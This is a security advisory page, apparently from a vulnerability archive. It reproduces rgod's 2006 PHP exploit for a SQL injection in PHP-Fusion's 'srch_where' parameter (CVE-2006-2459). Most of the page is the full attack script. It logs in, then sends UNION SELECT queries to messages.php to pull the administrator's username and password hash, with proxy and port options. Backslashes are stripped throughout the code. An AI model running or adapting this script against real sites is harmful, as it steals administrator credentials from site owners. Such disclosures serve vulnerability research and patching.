Bug: PHP-Fusion <= 6.00.306 "srch_where" SQL injection / admin credentials disclosure ( Ascii Version )

Search:
WLB2

PHP-Fusion <= 6.00.306 "srch_where" SQL injection / admin credentials disclosure

Published
Credit
Risk
2006.05.21
rgod autistici org
Medium
CWE
CVE
Local
Remote
CWE-89
CVE-2006-2459
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.4/10
4.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
None

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "PHP-Fusion <= v6.00.306 "srch_where" SQL Injection/Admin credentials disclosurern";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrnrn";

if ($argc<5) {

echo "Usage: php ".$argv[0]." host path user pass OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to PHP-Fusionrn";

echo "user/pass: you need an accountrn";

echo "Options:rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Example:rn";

echo "php ".$argv[0]." localhost /fusion/ username passwordrn";

die;

}

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$port=80;

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 1 -> login...rn";

$data ="user_name=".urlencode(trim($user));

$data.="&user_pass=".urlencode(trim($pass));

$data.="&login=Login";

$packet="POST ".$p."news.php HTTP/1.0rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/msword, */*rn";

$packet.="Referer: http://".$host.$path."news.phprn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: application/x-www-form-urlencodedrn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cache-Control: no-cachern";

$packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cfrnrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$temp2=explode(' ',$temp[1]);

$cookie=$temp2[0];

echo 'Your cookie -> '.$cookie."rnrn";

if ($cookie=='') {die("Unable to login...");}

echo "step 2 -> inject some code in srch_where argument...rn";

$sql="999999 UNION SELECT 0,0,0,user_name,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0 FROM fusion_users WHERE user_level=103/*";

$sql=urlencode($sql);

$packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql."
HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("messages.php?msg_view=",$html);

$temp2=explode(">",$temp[1]);

$temp=explode("<",$temp2[1]);

$admin=$temp[0];

echo "admin: ".$admin."rn";

$sql="999999 UNION SELECT 0,0,0,user_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0 FROM fusion_users WHERE user_level=103/*";

$sql=urlencode($sql);

$packet ="GET ".$p."messages.php?folder=inbox&show=_&srch_where=".$sql."
HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: ".$cookie."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("messages.php?msg_view=",$html);

$temp2=explode(">",$temp[1]);

$temp=explode("<",$temp2[1]);

$hash=$temp[0];

echo "hash: ".$hash."rn";

?>

original url: http://retrogod.altervista.org/phpfusion_600306_sql.html

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version